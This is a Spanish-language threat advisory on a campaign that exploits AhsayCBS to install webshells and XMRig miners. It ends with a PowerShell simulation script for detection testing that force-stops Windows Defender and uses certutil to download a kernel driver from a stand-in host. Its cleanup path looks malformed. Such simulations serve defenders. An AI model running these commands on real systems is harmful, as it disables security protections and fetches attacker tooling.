Actores de Amenazas Explotan Fallas Críticas de AhsayCBS para Instalar Webshells y el Criptominero XMRig

Resumen

Los actores de amenaza están explotando dos vulnerabilidades críticas en el software de respaldo AhsayCBS para obtener ejecución remota de código sin autenticación. Después de obtener acceso, los atacantes despliegan webshells JSP e instalan cryptomineros XMRig que se hacen pasar por procesos de Microsoft Edge. La campaña también utiliza un script de PowerShell asistido por IA diseñado para evadir la detección al monitorear e interferir con el Administrador de tareas de Windows.

Investigación

Huntress identificó una cadena de explotación que combina el CVE-2026-105133 para eludir la autenticación con el CVE-2026-105134 para la ejecución remota de código. Los investigadores observaron una utilidad NSSM modificada renombrada a msedge.exe y el controlador de kernel vulnerable WinRing0x64.sys utilizado para proporcionar al minero acceso a hardware de bajo nivel. La actividad post-explotación también incluyó la creación de un servicio malicioso de Windows llamado MicrosoftEdgeUpdateSvc.

Mitigación

Las organizaciones que ejecutan versiones de AhsayCBS hasta la 10.3.4 deben limitar inmediatamente el acceso a la interfaz de gestión a direcciones IP confiables o conexiones VPN. Las actualizaciones de seguridad deben aplicarse tan pronto como sean lanzadas por el proveedor. Los administradores también deben monitorear procesos secundarios sospechosos lanzados desde el ejecutable del servicio AhsayCBS.

Respuesta

Cuando se detectan indicadores de compromiso, las organizaciones deben realizar una reinstalación completa del host desde un respaldo confiable para eliminar posibles puertas traseras secundarias. Investigue servicios de Windows no autorizados y archivos sospechosos almacenados en directorios Temp. Revise la telemetría de la red en busca de conexiones a conocidos pools de minería de criptomonedas o infraestructura de hosting OSS de Alibaba Cloud.

Ejecución de Simulación

• Narrativa del Ataque y Comandos: El adversario ha explotado con éxito el servicio AhsayCBS. Para mantener la persistencia y desplegar un cryptominero, primero ellos generan un shell de comandos desde el cbssvcX64.exe proceso. Para evadir la detección, lanzan un proceso llamado msedge.exe usando el argumento --daemonized , haciéndolo parecer un proceso de navegador en segundo plano legítimo. Luego usan PowerShell para detener los servicios de seguridad (simulado a través del bloque de script). Finalmente, utilizan certutil.exe para descargar WinRing0x64.sys, un controlador utilizado para facilitar el acceso al sistema de bajo nivel para su carga de minería.

• Script de Prueba de Regresión:

  # Script de Simulación para AhsayCBS Post-Exploitation
  # NOTA: Este script simula el comportamiento mediante la imitación de la jerarquía de procesos y líneas de comandos.
  
  # 1. Simular AhsayCBS generando cmd.exe (requiere contexto específico de progenie de procesos en registros reales)
  # Para propósitos de simulación, usaremos un enfoque de proceso hijo.
  $cbsProcess = Start-Process "cmd.exe" -ArgumentList "/c echo Simulación AhsayCBS" -PassThru
  
  # 2. Simular Proceso Daemonizado de Edge Falso
  Start-Process "msedge.exe" -ArgumentList "--daemonized"
  
  # 3. Simular Bloque de Script Malicioso de PowerShell
  $maliciousScript = {
      Write-Host "Intentando desactivar defensas..."
      Stop-Service -Name "WinDefend" -Force
      # Simular interacción con el Administrador de Tareas
      $taskManager = "Administrador de Tareas"
  }
  Invoke-Command -ScriptBlock $maliciousScript
  
  # 4. Simular Descarga de Controlador Certutil
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f https://example.com/WinRing0x64.sys"

• Comandos de Limpieza:

  # Limpieza: Terminar procesos simulados y eliminar cualquier artefacto descargado.
  Stop-Process -Name "msedge" -ErrorAction SilentlyContinue
  Stop-Process -Name "cmd" -ErrorAction SilentlyContinue
  Remove-Item -Path "C:Users*DownloadsWinRing0x64.sys" -ErrorAction SilentlyContinue